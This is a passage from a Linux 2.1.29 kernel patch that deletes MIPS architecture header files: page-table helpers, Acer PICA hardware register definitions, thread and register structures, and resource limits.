PAGE_OFFSET); } - -extern inline int pmd_bad(pmd_t pmd) -{ - return (pmd_val(pmd) & ~PAGE_MASK) != _PAGE_TABLE || - pmd_page(pmd) > high_memory || - pmd_page(pmd) < PAGE_OFFSET; -} -extern inline int pmd_present(pmd_t pmd) { return pmd_val(pmd) & _PAGE_PRESENT; } -extern inline int pmd_inuse(pmd_t *pmdp) { return 0; } -extern inline void pmd_clear(pmd_t * pmdp) { pmd_val(*pmdp) = ((unsigned long) invalid_pte_table - PAGE_OFFSET); } -extern inline void pmd_reuse(pmd_t * pmdp) { } - -/* - * The "pgd_xxx()" functions here are trivial for a folded two-level - * setup: the pgd is never bad, and a pmd always exists (as it's folded - * into the pgd entry) - */ -extern inline int pgd_none(pgd_t pgd) { return 0; } -extern inline int pgd_bad(pgd_t pgd) { return 0; } -extern inline int pgd_present(pgd_t pgd) { return 1; } -extern inline int pgd_inuse(pgd_t * pgdp) { return mem_map[MAP_NR(pgdp)].reserved; } -extern inline void pgd_clear(pgd_t * pgdp) { } - -/* - * The following only work if pte_present() is true. - * Undefined behaviour if not.. - */ -extern inline int pte_read(pte_t pte) { return pte_val(pte) & _PAGE_READ; } -extern inline int pte_write(pte_t pte) { return pte_val(pte) & _PAGE_WRITE; } -extern inline int pte_exec(pte_t pte) { return pte_val(pte) & _PAGE_READ; } -extern inline int pte_dirty(pte_t pte) { return pte_val(pte) & _PAGE_MODIFIED; } -extern inline int pte_young(pte_t pte) { return pte_val(pte) & _PAGE_ACCESSED; } -extern inline int pte_cow(pte_t pte) { return pte_val(pte) & _PAGE_COW; } - -extern inline pte_t pte_wrprotect(pte_t pte) -{ - pte_val(pte) &= ~(_PAGE_WRITE | _PAGE_SILENT_WRITE); - return pte; -} -extern inline pte_t pte_rdprotect(pte_t pte) -{ - pte_val(pte) &= ~(_PAGE_READ | _PAGE_SILENT_READ); return pte; -} -extern inline pte_t pte_exprotect(pte_t pte) -{ - pte_val(pte) &= ~(_PAGE_READ | _PAGE_SILENT_READ); return pte; -} -extern inline pte_t pte_mkclean(pte_t pte) { pte_val(pte) &= ~(_PAGE_MODIFIED|_PAGE_SILENT_WRITE); return pte; } -extern inline pte_t pte_mkold(pte_t pte) { pte_val(pte) &= ~(_PAGE_ACCESSED|_PAGE_SILENT_READ|_PAGE_SILENT_WRITE); return pte; } -extern inline pte_t pte_uncow(pte_t pte) { pte_val(pte) &= ~_PAGE_COW; return pte; } -extern inline pte_t pte_mkwrite(pte_t pte) -{ - pte_val(pte) |= _PAGE_WRITE; - if (pte_val(pte) & _PAGE_MODIFIED) - pte_val(pte) |= _PAGE_SILENT_WRITE; - return pte; -} -extern inline pte_t pte_mkread(pte_t pte) -{ - pte_val(pte) |= _PAGE_READ; - if (pte_val(pte) & _PAGE_ACCESSED) - pte_val(pte) |= _PAGE_SILENT_READ; - return pte; -} -extern inline pte_t pte_mkexec(pte_t pte) -{ - pte_val(pte) |= _PAGE_READ; - if (pte_val(pte) & _PAGE_ACCESSED) - pte_val(pte) |= _PAGE_SILENT_READ; - return pte; -} -extern inline pte_t pte_mkdirty(pte_t pte) -{ - pte_val(pte) |= _PAGE_MODIFIED; - if (pte_val(pte) & _PAGE_WRITE) - pte_val(pte) |= _PAGE_SILENT_WRITE; - return pte; -} -extern inline pte_t pte_mkyoung(pte_t pte) -{ - pte_val(pte) |= _PAGE_ACCESSED; - if (pte_val(pte) & _PAGE_READ) - { - pte_val(pte) |= _PAGE_SILENT_READ; - if ((pte_val(pte) & (_PAGE_WRITE|_PAGE_MODIFIED)) == (_PAGE_WRITE|_PAGE_MODIFIED)) - pte_val(pte) |= _PAGE_SILENT_WRITE; - } - return pte; -} -extern inline pte_t pte_mkcow(pte_t pte) -{ - pte_val(pte) |= _PAGE_COW; - return pte; -} - -/* - * Conversion functions: convert a page and protection to a page entry, - * and a page entry and page directory to the page they refer to. - */ -extern inline pte_t mk_pte(unsigned long page, pgprot_t pgprot) -{ pte_t pte; pte_val(pte) = (page - PAGE_OFFSET) | pgprot_val(pgprot); return pte; } - -extern inline pte_t pte_modify(pte_t pte, pgprot_t newprot) -{ pte_val(pte) = (pte_val(pte) & _PAGE_CHG_MASK) | pgprot_val(newprot); return pte; } - -/* to find an entry in a page-table-directory */ -extern inline pgd_t * pgd_offset(struct mm_struct * mm, unsigned long address) -{ - return mm->pgd + (address >> PGDIR_SHIFT); -} - -/* Find an entry in the second-level page table.. */ -extern inline pmd_t * pmd_offset(pgd_t * dir, unsigned long address) -{ - return (pmd_t *) dir; -} - -/* Find an entry in the third-level page table.. */ -extern inline pte_t * pte_offset(pmd_t * dir, unsigned long address) -{ - return (pte_t *) (pmd_page(*dir) + (PT_OFFSET - PAGE_OFFSET)) + - ((address >> PAGE_SHIFT) & (PTRS_PER_PTE - 1)); -} - -/* - * Allocate and free page tables. The xxx_kernel() versions are - * used to allocate a kernel page table - this turns on ASN bits - * if any, and marks the page tables reserved. - */ -extern inline void pte_free_kernel(pte_t * pte) -{ - unsigned long page = (unsigned long) pte; - - mem_map[MAP_NR(pte)].reserved = 0; - if(!page) - return; - page -= (PT_OFFSET - PAGE_OFFSET); - free_page(page); -} - -extern inline pte_t * pte_alloc_kernel(pmd_t *pmd, unsigned long address) -{ - address = (address >> PAGE_SHIFT) & (PTRS_PER_PTE - 1); - if (pmd_none(*pmd)) { - unsigned long page = __get_free_page(GFP_KERNEL); - if (pmd_none(*pmd)) { - if (page) { - mem_map[MAP_NR(page)].reserved = 1; - memset((void *) page, 0, PAGE_SIZE); - sys_cacheflush((void *)page, PAGE_SIZE, DCACHE); - sync_mem(); - page += (PT_OFFSET - PAGE_OFFSET); - pmd_set(pmd, (pte_t *)page); - return ((pte_t *)page) + address; - } - pmd_set(pmd, (pte_t *) BAD_PAGETABLE); - return NULL; - } - free_page(page); - } - if (pmd_bad(*pmd)) { - printk("Bad pmd in pte_alloc_kernel: %08lx\n", pmd_val(*pmd)); - pmd_set(pmd, (pte_t *) BAD_PAGETABLE); - return NULL; - } - return (pte_t *) (pmd_page(*pmd) + (PT_OFFSET - PAGE_OFFSET)) + address; -} - -/* - * allocating and freeing a pmd is trivial: the 1-entry pmd is - * inside the pgd, so has no extra memory associated with it. - */ -extern inline void pmd_free_kernel(pmd_t * pmd) -{ -} - -extern inline pmd_t * pmd_alloc_kernel(pgd_t * pgd, unsigned long address) -{ - return (pmd_t *) pgd; -} - -extern inline void pte_free(pte_t * pte) -{ - unsigned long page = (unsigned long) pte; - - if(!page) - return; - page -= (PT_OFFSET - PAGE_OFFSET); - free_page(page); -} - -extern inline pte_t * pte_alloc(pmd_t * pmd, unsigned long address) -{ - address = (address >> PAGE_SHIFT) & (PTRS_PER_PTE - 1); - if (pmd_none(*pmd)) { - unsigned long page = __get_free_page(GFP_KERNEL); - if (pmd_none(*pmd)) { - if (page) { - memset((void *) page, 0, PAGE_SIZE); - sys_cacheflush((void *)page, PAGE_SIZE, DCACHE); - sync_mem(); - page += (PT_OFFSET - PAGE_OFFSET); - pmd_set(pmd, (pte_t *)page); - return ((pte_t *)page) + address; - } - pmd_set(pmd, (pte_t *) BAD_PAGETABLE); - return NULL; - } - free_page(page); - } - if (pmd_bad(*pmd)) { - printk("Bad pmd in pte_alloc: %08lx\n", pmd_val(*pmd)); - pmd_set(pmd, (pte_t *) BAD_PAGETABLE); - return NULL; - } - return (pte_t *) (pmd_page(*pmd) + (PT_OFFSET - PAGE_OFFSET)) + address; -} - -/* - * allocating and freeing a pmd is trivial: the 1-entry pmd is - * inside the pgd, so has no extra memory associated with it. - */ -extern inline void pmd_free(pmd_t * pmd) -{ -} - -extern inline pmd_t * pmd_alloc(pgd_t * pgd, unsigned long address) -{ - return (pmd_t *) pgd; -} - -extern inline void pgd_free(pgd_t * pgd) -{ - unsigned long page = (unsigned long) pgd; - - if(!page) - return; - page -= (PT_OFFSET - PAGE_OFFSET); - free_page(page); -} - -/* - * Initialize new page directory with pointers to invalid ptes - */ -extern inline void pgd_init(unsigned long page) -{ - unsigned long dummy1, dummy2; - - page += (PT_OFFSET - PAGE_OFFSET); -#if __mips >= 3 - /* - * Ich will Spass - ich geb Gas ich geb Gas... - */ - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n\t" - ".set\tmips3\n\t" - "dsll32\t$1,%2,0\n\t" - "dsrl32\t%2,$1,0\n\t" - "or\t%2,$1\n" - "1:\tsd\t%2,(%0)\n\t" - "subu\t%1,1\n\t" - "bnez\t%1,1b\n\t" - "addiu\t%0,8\n\t" - ".set\tmips0\n\t" - ".set\tat\n\t" - ".set\treorder" - :"=r" (dummy1), - "=r" (dummy2) - :"r" (((unsigned long) invalid_pte_table - PAGE_OFFSET) | - _PAGE_TABLE), - "0" (page), - "1" (PAGE_SIZE/(sizeof(pmd_t)*2)) - :"$1"); -#else - __asm__ __volatile__( - ".set\tnoreorder\n" - "1:\tsw\t%2,(%0)\n\t" - "subu\t%1,1\n\t" - "bnez\t%1,1b\n\t" - "addiu\t%0,4\n\t" - ".set\treorder" - :"=r" (dummy1), - "=r" (dummy2) - :"r" (((unsigned long) invalid_pte_table - PAGE_OFFSET) | - _PAGE_TABLE), - "0" (page), - "1" (PAGE_SIZE/sizeof(pmd_t))); -#endif -} - -extern inline pgd_t * pgd_alloc(void) -{ - unsigned long page; - - if(!(page = __get_free_page(GFP_KERNEL))) - return NULL; - - sys_cacheflush((void *)page, PAGE_SIZE, DCACHE); - sync_mem(); - pgd_init(page); - - return (pgd_t *) (page + (PT_OFFSET - PAGE_OFFSET)); -} - -extern pgd_t swapper_pg_dir[1024]; - -/* - * MIPS doesn't need any external MMU info: the kernel page tables contain - * all the necessary information. We use this hook though to load the - * TLB as early as possible with uptodate information avoiding unnecessary - * exceptions. - */ -extern void update_mmu_cache(struct vm_area_struct * vma, - unsigned long address, pte_t pte); - -#if __mips >= 3 - -#define SWP_TYPE(entry) (((entry) >> 32) & 0xff) -#define SWP_OFFSET(entry) ((entry) >> 40) -#define SWP_ENTRY(type,offset) pte_val(mk_swap_pte((type),(offset))) - -#else - -#define SWP_TYPE(entry) (((entry) >> 1) & 0x7f) -#define SWP_OFFSET(entry) ((entry) >> 8) -#define SWP_ENTRY(type,offset) (((type) << 1) | ((offset) << 8)) - -#endif - -#endif /* !defined (__LANGUAGE_ASSEMBLY__) */ - -#endif /* __ASM_MIPS_PGTABLE_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/pica.h linux/include/asm-mips/pica.h --- linux-2.1.29/include/asm-mips/pica.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/pica.h Wed Dec 31 19:00:00 1969 @@ -1,181 +0,0 @@ -/* - * Hardware info about Acer PICA 61 and similar - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Andreas Busse and Ralf Baechle - */ -#ifndef __ASM_MIPS_PICA_H -#define __ASM_MIPS_PICA_H - -/* - * The addresses below are virtual address. The mappings are - * created on startup via wired entries in the tlb. The Mips - * Magnum R3000 and R4000 machines are similar in many aspects, - * but many hardware register are accessible at 0xb9000000 in - * instead of 0xe0000000. - */ - -/* - * Revision numbers in PICA_ASIC_REVISION - * - * 0xf0000000 - Rev1 - * 0xf0000001 - Rev2 - * 0xf0000002 - Rev3 - */ -#define PICA_ASIC_REVISION 0xe0000008 - -/* - * The segments of the seven segment LED are mapped - * to the control bits as follows: - * - * (7) - * --------- - * | | - * (2) | | (6) - * | (1) | - * --------- - * | | - * (3) | | (5) - * | (4) | - * --------- . (0) - */ -#define PICA_LED 0xe000f000 - -/* - * Some characters for the LED control registers - * The original Mips machines seem to have a LED display - * with integrated decoder while the Acer machines can - * control each of the seven segments and the dot independently. - * It only a toy, anyway... - */ -#define LED_DOT 0x01 -#define LED_SPACE 0x00 -#define LED_0 0xfc -#define LED_1 0x60 -#define LED_2 0xda -#define LED_3 0xf2 -#define LED_4 0x66 -#define LED_5 0xb6 -#define LED_6 0xbe -#define LED_7 0xe0 -#define LED_8 0xfe -#define LED_9 0xf6 -#define LED_A 0xee -#define LED_b 0x3e -#define LED_C 0x9c -#define LED_d 0x7a -#define LED_E 0x9e -#define LED_F 0x8e - -#ifndef __LANGUAGE_ASSEMBLY__ - -extern __inline__ void pica_set_led(unsigned int bits) -{ - volatile unsigned int *led_register = (unsigned int *) PICA_LED; - - *led_register = bits; -} - -#endif - -/* - * i8042 keyboard controller for PICA chipset. - * This address is just a guess and seems to differ - * from the other mips machines... - */ -#define PICA_KEYBOARD_ADDRESS 0xe0005000 -#define PICA_KEYBOARD_DATA 0xe0005000 -#define PICA_KEYBOARD_COMMAND 0xe0005001 - -#ifndef __LANGUAGE_ASSEMBLY__ - -typedef struct { - unsigned char data; - unsigned char command; -} pica_keyboard_hardware; - -typedef struct { - unsigned char pad0[3]; - unsigned char data; - unsigned char pad1[3]; - unsigned char command; -} mips_keyboard_hardware; - -/* - * For now - */ -#define keyboard_hardware pica_keyboard_hardware - -#endif - -/* - * i8042 keyboard controller for most other Mips machines. - */ -#define MIPS_KEYBOARD_ADDRESS 0xb9005000 -#define MIPS_KEYBOARD_DATA 0xb9005003 -#define MIPS_KEYBOARD_COMMAND 0xb9005007 - -#ifndef __LANGUAGE_ASSEMBLY__ - -#endif - -/* - * PICA timer registers and interrupt no. - * Note that the hardware timer interrupt is actually on - * cpu level 6, but to keep compatibility with PC stuff - * it is remapped to vector 0. See arch/mips/kernel/entry.S. - */ -#define PICA_TIMER_INTERVAL 0xe0000228 -#define PICA_TIMER_REGISTER 0xe0000230 - -/* - * DRAM configuration register - */ -#ifndef __LANGUAGE_ASSEMBLY__ -#ifdef __MIPSEL__ -typedef struct { - unsigned int bank2 : 3; - unsigned int bank1 : 3; - unsigned int mem_bus_width : 1; - unsigned int reserved2 : 1; - unsigned int page_mode : 1; - unsigned int reserved1 : 23; -} dram_configuration; -#else /* defined (__MIPSEB__) */ -typedef struct { - unsigned int reserved1 : 23; - unsigned int page_mode : 1; - unsigned int reserved2 : 1; - unsigned int mem_bus_width : 1; - unsigned int bank1 : 3; - unsigned int bank2 : 3; -} dram_configuration; -#endif -#endif /* __LANGUAGE_ASSEMBLY__ */ - -#define PICA_DRAM_CONFIG 0xe00fffe0 - -/* - * PICA interrupt control registers - */ -#define PICA_IO_IRQ_SOURCE 0xe0100000 -#define PICA_IO_IRQ_ENABLE 0xe0100002 - -/* - * Pica interrupt enable bits - */ -#define PIE_PARALLEL (1<<0) -#define PIE_FLOPPY (1<<1) -#define PIE_SOUND (1<<2) -#define PIE_VIDEO (1<<3) -#define PIE_ETHERNET (1<<4) -#define PIE_SCSI (1<<5) -#define PIE_KEYBOARD (1<<6) -#define PIE_MOUSE (1<<7) -#define PIE_SERIAL1 (1<<8) -#define PIE_SERIAL2 (1<<9) - -#endif /* __ASM_MIPS_PICA_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/processor.h linux/include/asm-mips/processor.h --- linux-2.1.29/include/asm-mips/processor.h Sat May 10 18:17:18 1997 +++ linux/include/asm-mips/processor.h Wed Dec 31 19:00:00 1969 @@ -1,236 +0,0 @@ -/* - * include/asm-mips/processor.h - * - * Copyright (C) 1994 Waldorf Electronics - * written by Ralf Baechle - */ - -#ifndef __ASM_MIPS_PROCESSOR_H -#define __ASM_MIPS_PROCESSOR_H - -#if !defined (__LANGUAGE_ASSEMBLY__) -#include -#include -#include -#include - -/* - * System setup and hardware bug flags.. - */ -extern char wait_available; /* only available on R4[26]00 */ - -extern unsigned long intr_count; -extern unsigned long event; - -/* - * Bus types (default is ISA, but people can check others with these..) - * MCA_bus hardcoded to 0 for now. - * - * This needs to be extended since MIPS systems are being delivered with - * numerous different types of bus systems. - */ -extern int EISA_bus; -#define MCA_bus 0 -#define MCA_bus__is_a_macro /* for versions in ksyms.c */ - -/* - * MIPS has no problems with write protection - */ -#define wp_works_ok 1 -#define wp_works_ok__is_a_macro /* for versions in ksyms.c */ - -/* - * User space process size: 2GB. This is hardcoded into a few places, - * so don't change it unless you know what you are doing. - */ -#define TASK_SIZE (0x80000000UL) - -/* This decides where the kernel will search for a free chunk of vm - * space during mmap's. - */ -#define TASK_UNMAPPED_BASE (TASK_SIZE / 3) - -/* - * Size of io_bitmap in longwords: 32 is ports 0-0x3ff. - */ -#define IO_BITMAP_SIZE 32 - -#define NUM_FPU_REGS 32 - -struct mips_fpu_hard_struct { - double fp_regs[NUM_FPU_REGS]; - unsigned int control; -}; - -/* - * FIXME: no fpu emulator yet (but who cares anyway?) - */ -struct mips_fpu_soft_struct { - long dummy; - }; - -union mips_fpu_union { - struct mips_fpu_hard_struct hard; - struct mips_fpu_soft_struct soft; -}; - -#define INIT_FPU { \ - {{0,},} \ -} - -/* - * If you change thread_struct remember to change the #defines below too! - */ -struct thread_struct { - /* - * saved main processor registers - */ - unsigned long reg16, reg17, reg18, reg19, reg20, reg21, reg22, reg23; - unsigned long reg28, reg29, reg30, reg31; - /* - * saved cp0 stuff - */ - unsigned long cp0_status; - /* - * saved fpu/fpu emulator stuff - */ - union mips_fpu_union fpu; - /* - * Other stuff associated with the thread - */ - unsigned long cp0_badvaddr; - unsigned long error_code; - unsigned long trap_no; - unsigned long ksp; /* Top of kernel stack */ - unsigned long pg_dir; /* L1 page table pointer */ -#define MF_FIXADE 1 - unsigned long mflags; -}; - -#endif /* !defined (__LANGUAGE_ASSEMBLY__) */ - -/* - * If you change the #defines remember to change thread_struct above too! - */ -#define TOFF_REG16 0 -#define TOFF_REG17 (TOFF_REG16+4) -#define TOFF_REG18 (TOFF_REG17+4) -#define TOFF_REG19 (TOFF_REG18+4) -#define TOFF_REG20 (TOFF_REG19+4) -#define TOFF_REG21 (TOFF_REG20+4) -#define TOFF_REG22 (TOFF_REG21+4) -#define TOFF_REG23 (TOFF_REG22+4) -#define TOFF_REG28 (TOFF_REG23+4) -#define TOFF_REG29 (TOFF_REG28+4) -#define TOFF_REG30 (TOFF_REG29+4) -#define TOFF_REG31 (TOFF_REG30+4) -#define TOFF_CP0_STATUS (TOFF_REG31+4) -/* - * Pad for 8 byte boundary! - */ -#define TOFF_FPU (((TOFF_CP0_STATUS+4)+(8-1))&~(8-1)) -#define TOFF_CP0_BADVADDR (TOFF_FPU+264) -#define TOFF_ERROR_CODE (TOFF_CP0_BADVADDR+4) -#define TOFF_TRAP_NO (TOFF_ERROR_CODE+4) -#define TOFF_KSP (TOFF_TRAP_NO+4) -#define TOFF_PG_DIR (TOFF_KSP+4) -#define TOFF_MFLAGS (TOFF_PG_DIR+4) - -#if !defined (__LANGUAGE_ASSEMBLY__) - -#define INIT_MMAP { &init_mm, KSEG0, KSEG1, PAGE_SHARED, \ - VM_READ | VM_WRITE | VM_EXEC } - -#define INIT_TSS { \ - /* \ - * saved main processor registers \ - */ \ - 0, 0, 0, 0, 0, 0, 0, 0, \ - 0, 0, 0, 0, \ - /* \ - * saved cp0 stuff \ - */ \ - 0, \ - /* \ - * saved fpu/fpu emulator stuff \ - */ \ - INIT_FPU, \ - /* \ - * Other stuff associated with the process\ - */ \ - 0, 0, 0, sizeof(init_kernel_stack) + (unsigned long)init_kernel_stack - 8, \ - (unsigned long) swapper_pg_dir - PT_OFFSET, 0 \ -} - -/* - * Return saved PC of a blocked thread. - */ -extern inline unsigned long thread_saved_pc(struct thread_struct *t) -{ - return ((unsigned long *)t->reg29)[EF_CP0_EPC]; -} - -/* - * Do necessary setup to start up a newly executed thread. - */ -static __inline__ -void start_thread(struct pt_regs * regs, unsigned long pc, unsigned long sp) -{ - /* - * Pure paranoia; probably not needed. - */ - sys_cacheflush(0, ~0, BCACHE); - sync_mem(); - regs->cp0_epc = pc; - /* - * New thread loses kernel privileges. - */ - regs->cp0_status = (regs->cp0_status & ~(ST0_CU0|ST0_KSU)) | KSU_USER; - /* - * Reserve argument save space for registers a0 - a3. - regs->reg29 = sp - 4 * sizeof(unsigned long); - */ - regs->reg29 = sp; -} - -/* Free all resources held by a thread. */ -extern void release_thread(struct task_struct *); - -#ifdef __KERNEL__ - -/* - * switch_to(n) should switch tasks to task nr n, first - * checking that n isn't the current task, in which case it does nothing. - */ -asmlinkage void resume(struct task_struct *tsk, int offset); - -#define switch_to(n) \ - resume(n, ((int)(&((struct task_struct *)0)->tss))) - -/* - * Does the process account for user or for system time? - */ -#if defined (__R4000__) - -#define USES_USER_TIME(regs) (!((regs)->cp0_status & 0x18)) - -#else /* !defined (__R4000__) */ - -#define USES_USER_TIME(regs) (!((regs)->cp0_status & 0x4)) - -#endif /* !defined (__R4000__) */ - -#endif /* __KERNEL__ */ - -#endif /* !defined (__LANGUAGE_ASSEMBLY__) */ - -/* - * ELF support - * - * Using EM_MIPS is actually wrong - this one is reserved for big endian - * machines only - */ -#define INCOMPATIBLE_MACHINE(m) ((m) != EM_MIPS && (m) != EM_MIPS_RS4_BE) -#define ELF_EM_CPU EM_MIPS - -#endif /* __ASM_MIPS_PROCESSOR_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/ptrace.h linux/include/asm-mips/ptrace.h --- linux-2.1.29/include/asm-mips/ptrace.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/ptrace.h Wed Dec 31 19:00:00 1969 @@ -1,76 +0,0 @@ -/* - * linux/include/asm-mips/ptrace.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Waldorf GMBH - * written by Ralf Baechle - * - * Machine dependent structs and defines to help the user use - * the ptrace system call. - */ -#ifndef __ASM_MIPS_PTRACE_H -#define __ASM_MIPS_PTRACE_H - -/* - * This struct defines the way the registers are stored on the stack during a - * system call/exception. As usual the registers k0/k1 aren't being saved. - */ -struct pt_regs { - /* - * Pad bytes for argument save space on the stack - * 20/40 Bytes for 32/64 bit code - */ - unsigned long pad0[5]; - - /* - * saved main processor registers - */ - long reg1, reg2, reg3, reg4, reg5, reg6, reg7; - long reg8, reg9, reg10, reg11, reg12, reg13, reg14, reg15; - long reg16, reg17, reg18, reg19, reg20, reg21, reg22, reg23; - long reg24, reg25, reg28, reg29, reg30, reg31; - - /* - * Saved special registers - */ - long lo; - long hi; - - /* - * saved cp0 registers - */ - unsigned long cp0_status; - unsigned long cp0_epc; - unsigned long cp0_cause; - - /* - * Some goodies... - */ - unsigned long interrupt; - long orig_reg2; - long pad1; -}; - -#ifdef __KERNEL__ - -/* - * Does the process account for user or for system time? - */ -#if defined (__R4000__) - -#define user_mode(regs) ((regs)->cp0_status & 0x10) - -#else /* !defined (__R4000__) */ - -#define user_mode(regs) (!((regs)->cp0_status & 0x8)) - -#endif /* !defined (__R4000__) */ - -#define instruction_pointer(regs) ((regs)->cp0_epc) -extern void show_regs(struct pt_regs *); -#endif - -#endif /* __ASM_MIPS_PTRACE_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/reg.h linux/include/asm-mips/reg.h --- linux-2.1.29/include/asm-mips/reg.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/reg.h Wed Dec 31 19:00:00 1969 @@ -1,78 +0,0 @@ -/* - * Makefile for MIPS Linux main source directory - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_REG_H -#define __ASM_MIPS_REG_H - -/* - * This defines/structures correspond to the register layout on stack - - * if the order here is changed, it needs to be updated in - * include/asm-mips/stackframe.h - */ -#define EF_REG1 5 -#define EF_REG2 6 -#define EF_REG3 7 -#define EF_REG4 8 -#define EF_REG5 9 -#define EF_REG6 10 -#define EF_REG7 11 -#define EF_REG8 12 -#define EF_REG9 13 -#define EF_REG10 14 -#define EF_REG11 15 -#define EF_REG12 16 -#define EF_REG13 17 -#define EF_REG14 18 -#define EF_REG15 19 -#define EF_REG16 20 -#define EF_REG17 21 -#define EF_REG18 22 -#define EF_REG19 23 -#define EF_REG20 24 -#define EF_REG21 25 -#define EF_REG22 26 -#define EF_REG23 27 -#define EF_REG24 28 -#define EF_REG25 29 -/* - * k0/k1 unsaved - */ -#define EF_REG28 30 -#define EF_REG29 31 -#define EF_REG30 32 -#define EF_REG31 33 - -/* - * Saved special registers - */ -#define EF_LO 34 -#define EF_HI 35 - -/* - * saved cp0 registers - */ -#define EF_CP0_STATUS 36 -#define EF_CP0_EPC 37 -#define EF_CP0_CAUSE 38 - -/* - * Some goodies - */ -#define EF_INTERRUPT 39 -#define EF_ORIG_REG2 40 - -#define EF_SIZE (41*4) - -/* - * Map register number into core file offset. - */ -#define CORE_REG(reg, ubase) \ - (((unsigned long *)((unsigned long)(ubase)))[reg]) - -#endif /* __ASM_MIPS_REG_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/regdef.h linux/include/asm-mips/regdef.h --- linux-2.1.29/include/asm-mips/regdef.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/regdef.h Wed Dec 31 19:00:00 1969 @@ -1,52 +0,0 @@ -/* - * include/asm-mips/regdefs.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Ralf Baechle - */ - -#ifndef __ASM_MIPS_REGDEF_H -#define __ASM_MIPS_REGDEF_H - -/* - * Symbolic register names for 32 bit ABI - */ -#define zero $0 /* wired zero */ -#define AT $1 /* assembler temp - uppercase because of ".set at" */ -#define v0 $2 /* return value */ -#define v1 $3 -#define a0 $4 /* argument registers */ -#define a1 $5 -#define a2 $6 -#define a3 $7 -#define t0 $8 /* caller saved */ -#define t1 $9 -#define t2 $10 -#define t3 $11 -#define t4 $12 -#define t5 $13 -#define t6 $14 -#define t7 $15 -#define s0 $16 /* callee saved */ -#define s1 $17 -#define s2 $18 -#define s3 $19 -#define s4 $20 -#define s5 $21 -#define s6 $22 -#define s7 $23 -#define t8 $24 /* caller saved */ -#define t9 $25 -#define jp $25 /* PIC jump register */ -#define k0 $26 /* kernel scratch */ -#define k1 $27 -#define gp $28 /* global pointer */ -#define sp $29 /* stack pointer */ -#define fp $30 /* frame pointer */ -#define s8 $30 /* same like fp! */ -#define ra $31 /* return address */ - -#endif /* __ASM_MIPS_REGDEF_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/resource.h linux/include/asm-mips/resource.h --- linux-2.1.29/include/asm-mips/resource.h Fri Aug 23 08:30:15 1996 +++ linux/include/asm-mips/resource.h Wed Dec 31 19:00:00 1969 @@ -1,48 +0,0 @@ -/* - * Process resource limits - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_RESOURCE_H -#define __ASM_MIPS_RESOURCE_H - -/* - * Resource limits - */ -#define RLIMIT_CPU 0 /* CPU time in ms */ -#define RLIMIT_FSIZE 1 /* Maximum filesize */ -#define RLIMIT_DATA 2 /* max data size */ -#define RLIMIT_STACK 3 /* max stack size */ -#define RLIMIT_CORE 4 /* max core file size */ -#define RLIMIT_NOFILE 5 /* max number of open files */ -#define RLIMIT_VMEM 6 /* mapped memory */ -#define RLIMIT_AS RLIMIT_VMEM -#define RLIMIT_RSS 7 /* max resident set size */ -#define RLIMIT_NPROC 8 /* max number of processes */ -#define RLIMIT_MEMLOCK 9 /* max locked-in-memory address space*/ - -#define RLIM_NLIMITS 10 - -#ifdef __KERNEL__ - -#define INIT_RLIMITS \ -{ \ - {LONG_MAX, LONG_MAX}, \ - {LONG_MAX, LONG_MAX}, \ - {LONG_MAX, LONG_MAX}, \ - {_STK_LIM, _STK_LIM}, \ - { 0, LONG_MAX}, \ - {NR_OPEN, NR_OPEN}, \ - {LONG_MAX, LONG_MAX}, \ - {LONG_MAX, LONG_MAX}, \ - {MAX_TASKS_PER_USER, MAX_TASKS_PER_USER}, \ - { LONG_MAX, LONG_MAX }, \ -} - -#endif /* __KERNEL__ */ - -#endif /* __ASM_MIPS_RESOURCE_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/scatterlist.h linux/include/asm-mips/scatterlist.h --- linux-2.1.29/include/asm-mips/scatterlist.h Sat May 10 18:16:58 1997 +++ linux/include/asm-mips/scatterlist.h Wed Dec 31 19:00:00 1969 @@ -1,13 +0,0 @@ -#ifndef _MIPS_SCATTERLIST_H -#define _MIPS_SCATTERLIST_H - -struct scatterlist { - char * address; /* Location data is to be transferred to */ - char * alt_address; /* Location of actual if address is a - * dma indirect buffer. NULL otherwise */ - unsigned int length; -}; - -#define ISA_DMA_THRESHOLD (0x00ffffff) - -#endif /* !(_MIPS_SCATTERLIST_H) */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/segment.h linux/include/asm-mips/segment.h --- linux-2.1.29/include/asm-mips/segment.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/segment.h Wed Dec 31 19:00:00 1969 @@ -1,188 +0,0 @@ -/* - * include/asm-mips/segment.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Ralf Baechle - * - * Note that the quad functions are only being used for the 64 bit kernel and - * therefore it isn't really important that they will be miscompiled for - * 32-bit kernels. - */ -#ifndef __ASM_MIPS_SEGMENT_H -#define __ASM_MIPS_SEGMENT_H - -#ifndef __LANGUAGE_ASSEMBLY__ -/* - * For memcpy() - */ -#include - -/* - * This is a gcc optimization barrier, which essentially - * inserts a sequence point in the gcc RTL tree that gcc - * can't move code around. This is needed when we enter - * or exit a critical region (in this case around user-level - * accesses that may sleep, and we can't let gcc optimize - * global state around them). - */ -#define __gcc_barrier() 